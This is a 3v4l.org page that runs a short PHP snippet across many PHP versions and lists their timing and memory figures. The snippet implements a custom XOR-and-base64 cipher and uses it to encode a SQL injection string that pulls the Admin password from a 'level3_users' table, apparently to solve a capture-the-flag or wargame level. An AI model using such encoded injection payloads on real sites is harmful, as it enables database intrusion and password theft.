3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT password FROM level3_users WHERE user='Admin' --"); print "\n"; print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0120.00617.00
8.3.50.0110.00722.07
8.3.40.0090.00619.01
8.3.30.0140.00719.23
8.3.20.0040.00420.15
8.3.10.0040.00423.57
8.3.00.0040.00420.61
8.2.180.0110.00716.63
8.2.170.0140.00022.96
8.2.160.0170.00022.21
8.2.150.0030.00524.18
8.2.140.0070.00324.66
8.2.130.0040.00426.16
8.2.120.0000.01422.08
8.2.110.0060.00322.11
8.2.100.0120.00017.91
8.2.90.0030.00519.26
8.2.80.0040.00418.05
8.2.70.0090.00018.00
8.2.60.0080.00017.93
8.2.50.0050.00318.07
8.2.40.0050.00319.33
8.2.30.0030.00618.16
8.2.20.0080.00017.93
8.2.10.0050.00319.75
8.2.00.0000.00717.98
8.1.280.0100.00725.92
8.1.270.0080.00022.20
8.1.260.0080.00026.35
8.1.250.0000.00728.09
8.1.240.0030.00623.87
8.1.230.0040.00719.16
8.1.220.0040.00417.79
8.1.210.0000.00918.77
8.1.200.0030.00617.48
8.1.190.0030.00617.53
8.1.180.0060.00318.10
8.1.170.0040.00418.68
8.1.160.0080.00021.97
8.1.150.0000.00818.81
8.1.140.0040.00417.67
8.1.130.0000.00717.95
8.1.120.0020.00517.56
8.1.110.0080.00017.62
8.1.100.0000.00817.64
8.1.90.0090.00017.64
8.1.80.0000.00717.70
8.1.70.0070.00017.46
8.1.60.0080.00017.71
8.1.50.0030.00517.70
8.1.40.0080.00017.61
8.1.30.0040.00417.70
8.1.20.0000.00817.84
8.1.10.0050.00217.71
8.1.00.0040.00417.70
8.0.300.0000.00718.77
8.0.290.0000.00817.29
8.0.280.0000.00718.41
8.0.270.0000.00717.22
8.0.260.0030.00317.01
8.0.250.0000.00717.09
8.0.240.0000.01117.10
8.0.230.0000.00717.07
8.0.220.0070.00017.00
8.0.210.0030.00317.13
8.0.200.0070.00017.17
8.0.190.0030.00517.12
8.0.180.0030.00517.06
8.0.170.0040.00417.08
8.0.160.0080.00017.02
8.0.150.0040.00416.96
8.0.140.0070.00017.01
8.0.130.0000.00513.43
8.0.120.0050.00317.03
8.0.110.0070.00016.93
8.0.100.0000.00816.94
8.0.90.0000.00816.93
8.0.80.0070.01117.11
8.0.70.0000.00716.95
8.0.60.0040.00417.03
8.0.50.0050.00316.87
8.0.30.0080.01417.36
8.0.20.0140.00517.40
8.0.10.0080.00017.14
8.0.00.0040.01316.93
7.4.330.0030.00315.21
7.4.320.0060.00016.81
7.4.300.0030.00316.66
7.4.290.0030.00316.79
7.4.280.0030.00316.64
7.4.270.0030.00316.82
7.4.260.0030.00316.66
7.4.250.0030.00516.82
7.4.240.0030.00316.78
7.4.230.0030.00316.75
7.4.220.0030.01516.78
7.4.210.0050.01216.80
7.4.200.0050.00216.68
7.4.190.0000.00716.79
7.4.160.0130.00316.66
7.4.150.0070.01117.40
7.4.140.0100.00817.86
7.4.130.0090.00816.79
7.4.120.0150.00616.65
7.4.110.0070.01016.75
7.4.100.0220.00616.57
7.4.90.0110.00716.67
7.4.80.0090.01216.70
7.4.70.0110.00716.66
7.4.60.0040.01216.73
7.4.50.0080.00016.65
7.4.40.0040.01522.77
7.4.30.0110.00616.81
7.4.10.0120.00616.01
7.4.00.0080.01015.39
7.3.330.0050.00013.48
7.3.320.0020.00213.56
7.3.310.0070.00016.50
7.3.300.0000.00816.40
7.3.290.0030.01616.48
7.3.280.0120.00616.53
7.3.270.0080.00817.40
7.3.260.0090.01516.72
7.3.250.0100.00816.79
7.3.240.0070.01316.57
7.3.230.0130.00416.81
7.3.210.0090.00816.57
7.3.200.0110.00819.39
7.3.190.0120.00616.54
7.3.180.0030.01316.55
7.3.170.0130.00316.69
7.3.160.0130.00316.59
7.3.130.0090.00915.59
7.3.120.0070.01015.35
7.3.110.0070.01015.53
7.3.100.0020.01115.55
7.3.90.0050.01115.61
7.3.80.0080.00415.54
7.3.70.0020.00915.54
7.3.60.0040.01115.63
7.3.50.0080.00415.44
7.3.40.0070.00715.60
7.3.30.0070.00615.60
7.3.20.0070.00817.28
7.3.10.0090.00717.32
7.3.00.0050.00917.19
7.2.330.0130.00416.87
7.2.320.0060.01216.89
7.2.310.0030.01416.88
7.2.300.0140.00816.83
7.2.290.0060.00916.82
7.2.260.0100.00816.04
7.2.250.0040.01615.76
7.2.240.0030.01315.71
7.2.230.0070.01015.78
7.2.220.0050.01115.89
7.2.210.0090.00615.89
7.2.200.0050.00915.81
7.2.190.0090.00715.71
7.2.180.0030.01215.75
7.2.170.0070.00715.79
7.2.160.0050.00716.11
7.2.150.0030.01317.84
7.2.140.0090.00817.87
7.2.130.0040.01317.77
7.2.120.0110.00317.95
7.2.110.0060.00617.87
7.2.100.0050.00717.84
7.2.90.0110.00617.93
7.2.80.0040.01117.91
7.2.70.0030.01117.92
7.2.60.0080.00917.56
7.2.50.0030.01217.84
7.2.40.0110.00417.95
7.2.30.0070.00717.93
7.2.20.0050.00617.93
7.2.10.0100.00517.84
7.2.00.0060.00718.38
7.1.330.0080.00416.37
7.1.320.0060.00616.58
7.1.310.0080.00616.53
7.1.300.0070.00716.54
7.1.290.0070.00616.46
7.1.280.0060.00816.58
7.1.270.0070.00516.45
7.1.260.0060.00616.45
7.1.250.0040.00816.83
7.1.240.0090.00416.81
7.1.230.0100.00316.66
7.1.220.0070.00316.86
7.1.210.0080.01016.77
7.1.200.0060.00716.49
7.1.190.0050.00916.76
7.1.180.0020.01016.70
7.1.170.0090.00516.84
7.1.160.0110.00116.56
7.1.150.0090.00616.65
7.1.140.0030.00816.69
7.1.130.0070.00716.72
7.1.120.0050.01016.82
7.1.110.0030.01016.66
7.1.100.0020.01117.29
7.1.90.0060.00716.95
7.1.80.0050.01016.86
7.1.70.0040.00817.05
7.1.60.0090.01017.70
7.1.50.0060.00816.86
7.1.40.0070.00716.77
7.1.30.0060.00916.74
7.1.20.0050.00916.66
7.1.10.0030.01116.81
7.1.00.0050.03118.67
7.0.330.0050.00916.25
7.0.320.0010.00916.36
7.0.310.0040.01216.39
7.0.300.0030.00916.19
7.0.290.0090.00716.43
7.0.280.0050.00816.42
7.0.270.0080.00816.41
7.0.260.0050.00716.22
7.0.250.0030.00916.39
7.0.240.0080.00516.47
7.0.230.0020.00916.36
7.0.220.0060.00916.37
7.0.210.0060.00816.52
7.0.200.0050.01016.45
7.0.190.0020.01416.52
7.0.180.0070.00916.35
7.0.170.0080.00916.40
7.0.160.0070.00716.38
7.0.150.0100.00516.41
7.0.140.0070.03018.28
7.0.130.0050.00616.37
7.0.120.0050.00916.49
7.0.110.0070.00616.33
7.0.100.0050.00616.48
7.0.90.0070.00616.54
7.0.80.0040.01016.39
7.0.70.0050.00816.35
7.0.60.0050.03317.48
7.0.50.0020.02716.92
7.0.40.0080.02816.27
7.0.30.0160.03116.27
7.0.20.0120.02316.33
7.0.10.0190.03116.26
7.0.00.0060.03516.29
5.6.400.0080.00615.40
5.6.390.0090.00515.40
5.6.380.0070.00815.25
5.6.370.0060.00915.50
5.6.360.0080.01015.32
5.6.350.0030.01415.45
5.6.340.0050.00715.26
5.6.330.0060.01115.40
5.6.320.0070.00615.60
5.6.310.0040.01015.35
5.6.300.0060.00815.36
5.6.290.0070.00915.28
5.6.280.0060.03017.14
5.6.270.0030.01015.44
5.6.260.0000.01315.35
5.6.250.0090.00515.26
5.6.240.0050.00815.28
5.6.230.0030.01015.21
5.6.220.0050.00915.31
5.6.210.0080.02716.97
5.6.200.0060.02216.22
5.6.190.0050.02117.05
5.6.180.1170.02217.14
5.6.170.0090.03617.04
5.6.160.0080.03317.13
5.6.150.0060.01616.23
5.6.140.0070.01616.27
5.6.130.0080.03116.26
5.6.120.0050.03317.17
5.6.110.0080.03017.32
5.6.100.0060.03317.20
5.6.90.0050.02817.28
5.6.80.0030.03516.90
5.6.70.0090.02816.87
5.6.60.0050.00815.25
5.6.50.0070.00315.13
5.6.40.0020.01115.24
5.6.30.0070.00815.18
5.6.20.0030.01215.09
5.6.10.0020.00915.30
5.6.00.0070.00715.35
5.5.380.0080.00715.33
5.5.370.0090.00315.09
5.5.360.0090.00615.29
5.5.350.0070.01616.92
5.5.340.0040.02416.13
5.5.330.0090.02116.93
5.5.320.0100.01917.01
5.5.310.0130.02616.89
5.5.300.0060.02016.16
5.5.290.0060.01616.19
5.5.280.0050.02217.21
5.5.270.0100.02917.14
5.5.260.0080.02417.04
5.5.250.0040.03016.95
5.5.240.0060.03116.77
5.5.230.0050.00815.31
5.5.220.0070.00615.13
5.5.210.0050.00815.31
5.5.200.0090.00415.27
5.5.190.0030.01315.10
5.5.180.0070.00415.33
5.5.170.0050.00915.28
5.5.160.0020.01415.28
5.5.150.0080.00315.17
5.5.140.0040.00915.16
5.5.130.0110.00515.24
5.5.120.0050.01015.15
5.5.110.0100.00315.30
5.5.100.0090.00515.14
5.5.90.0030.01314.96
5.5.80.0040.00815.14
5.5.70.0090.00715.16
5.5.60.0080.00815.22
5.5.50.0080.00815.17
5.5.40.0100.00415.30
5.5.30.0050.01015.20
5.5.20.0080.00415.22
5.5.10.0030.01015.08
5.5.00.0040.00914.94
5.4.450.0300.02414.64
5.4.440.0060.02814.53
5.4.430.0290.03014.69
5.4.420.0450.02614.56
5.4.410.0310.02314.63
5.4.400.0520.02314.37
5.4.390.0310.02914.26
5.4.380.0070.03014.18
5.4.370.0100.02114.22
5.4.360.0040.02514.35
5.4.350.0100.02214.17
5.4.340.0090.02014.26
5.4.330.0040.00812.15
5.4.320.0040.01712.14
5.4.310.0040.02112.04
5.4.300.0080.01512.09
5.4.290.0060.01712.19
5.4.280.0060.01612.16
5.4.270.0050.01712.18
5.4.260.0050.01912.14
5.4.250.0020.02112.16
5.4.240.0060.01512.21
5.4.230.0070.01712.11
5.4.220.0060.02012.15
5.4.210.0050.01912.22
5.4.200.0040.02112.10
5.4.190.0050.01712.18
5.4.180.0060.01912.18
5.4.170.0080.01812.10
5.4.160.0090.01812.22
5.4.150.0100.01812.11
5.4.140.0070.02012.12
5.4.130.0090.01912.18
5.4.120.0120.01611.97
5.4.110.0050.02012.13
5.4.100.0080.02011.99
5.4.90.0080.01812.16
5.4.80.0080.01812.03
5.4.70.0050.02111.98
5.4.60.0100.02712.06
5.4.50.0060.01812.00
5.4.40.0080.01712.09
5.4.30.0090.01912.07
5.4.20.0060.02012.09
5.4.10.0080.01712.02
5.4.00.0090.01711.85
5.3.290.0030.02012.29
5.3.280.0080.01712.08
5.3.270.0090.01912.26
5.3.260.0060.02112.23
5.3.250.0110.02512.27
5.3.240.0090.01912.15
5.3.230.0110.01812.13
5.3.220.0160.03312.15
5.3.210.0040.02212.21
5.3.200.0080.01912.20
5.3.190.0060.02112.09
5.3.180.0060.02112.32
5.3.170.0080.02012.22
5.3.160.0090.02012.30
5.3.150.0070.01912.25
5.3.140.0100.01912.23
5.3.130.0080.02012.22
5.3.120.0090.02012.13
5.3.110.0090.02112.17
5.3.100.0200.02911.97
5.3.90.0070.02012.04
5.3.80.0110.01711.82
5.3.70.0080.02011.92
5.3.60.0100.03012.05
5.3.50.0070.02111.87
5.3.40.0040.02211.80
5.3.30.0070.01911.79
5.3.20.0080.02111.84
5.3.10.0090.01811.67
5.3.00.0100.02511.68
5.2.170.0100.0389.23
5.2.160.0180.0299.23
5.2.150.0140.0369.23
5.2.140.0190.0399.22
5.2.130.0090.0379.18
5.2.120.0350.0749.18
5.2.110.0150.0349.19
5.2.100.0120.0399.19
5.2.90.0100.0369.19
5.2.80.0100.0379.17
5.2.70.0110.0379.18
5.2.60.0150.0319.13
5.2.50.0110.0359.10
5.2.40.0110.0369.08
5.2.30.0120.0339.05
5.2.20.0060.0409.05
5.2.10.0120.0348.95
5.2.00.0140.0318.80
5.1.60.0100.0298.08
5.1.50.0140.0268.09
5.1.40.0140.0268.07
5.1.30.0100.0348.41
5.1.20.0090.0328.45
5.1.10.0070.0358.16
5.1.00.0130.0278.16
5.0.50.0070.0266.66
5.0.40.0100.0216.51
5.0.30.0090.0366.32
5.0.20.0140.0486.29
5.0.10.0090.0226.27
5.0.00.0090.0346.26
4.4.90.0050.0204.78
4.4.80.0050.0194.76
4.4.70.0080.0174.75
4.4.60.0080.0174.76
4.4.50.0080.0164.77
4.4.40.0070.0284.71
4.4.30.0080.0174.76
4.4.20.0090.0164.84
4.4.10.0130.0424.85
4.4.00.0070.0284.76
4.3.110.0080.0164.67
4.3.100.0030.0234.66
4.3.90.0090.0164.64
4.3.80.0090.0254.58
4.3.70.0070.0174.63
4.3.60.0060.0184.63
4.3.50.0050.0194.63
4.3.40.0050.0284.54
4.3.30.0040.0193.33
4.3.20.0060.0173.32
4.3.10.0050.0183.28
4.3.00.0070.0276.31

preferences:
119.01 ms | 400 KiB | 5 Q